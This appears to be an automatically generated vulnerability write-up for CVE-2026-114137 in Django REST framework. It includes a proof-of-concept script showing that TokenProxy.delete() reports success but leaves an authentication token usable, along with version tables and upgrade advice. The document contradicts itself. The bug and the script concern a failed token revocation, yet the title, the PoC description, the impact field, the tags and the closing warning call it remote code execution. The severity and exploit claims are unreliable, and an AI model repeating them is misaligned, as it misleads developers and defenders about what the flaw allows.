Exploit write-up
djangorestframework remote code execution (CVE-2026-114137)
Proof of concept
The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.
# CVE-2026-114137 proof-of-concept (mechanism explained below).
import os
import django
from django.conf import settings
settings.configure(
DEBUG=False,
SECRET_KEY="x",
DATABASES={"default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}},
INSTALLED_APPS=[
"django.contrib.contenttypes",
"django.contrib.auth",
"rest_framework",
"rest_framework.authtoken",
],
DEFAULT_AUTO_FIELD="django.db.models.AutoField",
USE_TZ=True,
)
django.setup()
from django.core.management import call_command
call_command("migrate", verbosity=0, interactive=False)
from django.contrib.auth import get_user_model
from rest_framework.authtoken.models import Token, TokenProxy
from rest_framework.authentication import TokenAuthentication
from rest_framework.exceptions import AuthenticationFailed
User = get_user_model()
user = User.objects.create_user(username="victim", password="pw")
token = Token.objects.create(user=user)
key = token.key
# Revoke the credential through the proxy
proxy = TokenProxy.objects.get(user=user)
try:
result = proxy.delete()
except Exception as e:
result = ("error", repr(e))
still_exists = Token.objects.filter(key=key).exists()
authenticates = False
try:
u, t = TokenAuthentication().authenticate_credentials(key)
authenticates = (u.pk == user.pk)
except AuthenticationFailed:
authenticates = False
if still_exists and authenticates:
print(os.environ["POC_CANARY"])
How to run it.
pip install djangorestframework==3.18.1
POC_CANARY=demo python poc.py # prints: demo (code executed)
pip install djangorestframework==3.18.2
POC_CANARY=demo python poc.py # prints nothing (blocked by the fix)
At a glance
| Field | Value |
|---|---|
| CVSS | 7.4 High (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| EPSS | 0.35% exploitation probability (27th percentile) |
| KEV | No — not in the CISA KEV catalog |
| Affected → fixed | PyPI/djangorestframework < 3.18.2 (confirmed on 3.18.1) → fixed in 3.18.2 |
| PoC maturity | differential-poc — the PoC confirms the vulnerable code path differentially (a canary fires only on the vulnerable build); it is not a weaponized exploit chain |
Django REST framework is a toolkit for building Web APIs. From version 3.12.0 until 3.18.2, TokenProxy.delete() deleted no row when called to revoke an authentication token, reported success, and left the token live. The callers this exposes are applications, administrative integrations, or operational scripts that revoke credentials through a TokenProxy. The advisory tracks this as CVE-2026-114137 and scores it 7.4 on CVSS.
Where the primary keys diverge
DRF builds the deletion query against the wrong primary key. TokenProxy is a proxy model whose primary key is the user id, while the concrete Token it stands in for is keyed by the token string itself. When a caller invokes delete() on a TokenProxy instance, Django issues a deletion query matching the user-id value against the token table, where rows are identified by token string. The value matches no row. Django reports zero rows deleted and raises no error.
The advisory files this under two weakness classes, CWE-390 and CWE-613.
This analysis read this account from the fix commit’s patch diff (patch-diff.txt).
What a caller sees
An application, an administrative integration, or an operational script that revokes a credential through a TokenProxy believes the revocation succeeded. The token stays in the table and continues to authenticate, and because DRF tokens carry no automatic expiry, the access it grants stays open until someone removes the row by another path.
DRF’s own TokenAdmin.delete_model is not affected, so an operator working from the Django admin revokes the token they intended. The exposure lives in the other callers—the integrations and scripts that reach for TokenProxy.delete() directly—and the call sites the advisory names are the first place to audit.
The primitive executed on 3.18.1 and not on 3.18.2
This analysis ran the proof-of-concept (the proof-of-concept above) against both pinned builds, one on each side of the fix. Only 3.18.1 and 3.18.2 were run; the rest of the affected range (3.12.0 up to 3.18.2) rests on the advisory rather than on this run.
| Build | Status | Proof-of-concept |
|---|---|---|
| djangorestframework 3.18.1 | vulnerable | ran |
| djangorestframework 3.18.2 | patched | no output, no error |
Mitigation
Upgrade djangorestframework to 3.18.2 or later.
What the patched run does not establish
The patched run shows the proof-of-concept did not fire on 3.18.2, not that the fix rejected it. Confirming that, testing each version below 3.18.2 rather than relying on the advisory’s range, and extending the primitive into a full exploit chain against a deployed application remain to be done.
Am I affected?
Check the installed version of djangorestframework:
pip show djangorestframework
PyPI/djangorestframework below 3.18.2 is affected; 3.18.2 and later carry the fix.
The fix changed rest_framework/authtoken/admin.py, rest_framework/authtoken/models.py, tests/authentication/test_authentication.py, tests/test_authtoken.py; grep your codebase for call sites that reach that code with attacker-influenced input.
Remediation
Upgrade djangorestframework to 3.18.2 or later:
pip install 'djangorestframework>=3.18.2'
Where an upgrade cannot land immediately, keep untrusted input away from the affected API and constrain it at the trust boundary; the call sites named in the advisory are the first place to audit.
- Target
- djangorestframework (djangorestframework)
- Class
- package
- Impact
- Arbitrary code execution against the vulnerable build
- CVE
- CVE-2026-114137
- CWE
- CWE-390
- CVSS
7.4 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)- Affected
- PyPI/djangorestframework < 3.18.2 (vulnerable 3.18.1)
- Status
- Fixed in 3.18.2
- Maturity
- poc
- Disclosed
- October 21, 2026
- Tags
- rce · djangorestframework · n-day
- References
- NVD — CVE-2026-114137
Upstream fix commit
PoC achieves code execution against the vulnerable build; detonate only in an isolated, disposable VM.